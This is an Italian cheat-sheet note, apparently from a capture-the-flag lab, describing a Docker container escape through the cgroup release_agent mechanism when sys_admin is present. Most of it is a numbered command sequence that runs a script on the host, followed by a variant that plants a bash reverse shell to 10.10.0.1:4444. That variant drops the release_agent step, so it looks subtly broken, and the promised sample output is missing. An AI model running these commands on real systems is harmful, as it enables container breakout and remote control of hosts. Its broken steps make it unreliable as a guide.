tags: Docker_Capabilities docker privilage_escalation priv_esc
Quando all’interno di un docker tramite questo comando capsh --print ci appare un output del genere:

Oppure ancora meglio tramite questo comando:
capsh --print | grep sys_admin
Possiamo eseguire comandi sulla macchina host seguendo questa guida oppure eseguendo direttamente questi comandi uno alla volta (in questo esempio leggiamo solo il file flag.txt):
1. mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
2. echo 1 > /tmp/cgrp/x/notify_on_release
3. host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
4. echo "$host_path/exploit" > /tmp/cgrp/release_agent
5. echo '#!/bin/sh' > /exploit
6. echo "cat /home/cmnatic/flag.txt > $host_path/flag.txt" >> /exploit
7. chmod a+x /exploit
8. sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
Se al posto di leggere la flag.txt volessimo ottenere una reverse shell ci basterebbe modificare i punti 4, 5, 6 che equivalgono alla definizione dell’exploit:
#Al posto di:
4. echo "$host_path/exploit" > /tmp/cgrp/release_agent
5. echo '#!/bin/sh' > /exploit
6. echo "cat /home/cmnatic/flag.txt > $host_path/flag.txt" >> /exploit
#Usa:
4. echo '#!/bin/sh' > /exploit
5. echo 'bash -i >& /dev/tcp/10.10.0.1/4444 0>&1' >> /exploit
6. chmod a+x /exploit
Nel caso non dovesse funzionare guarda quali strumenti hai a disposizione tramite il comando which e usa quelli.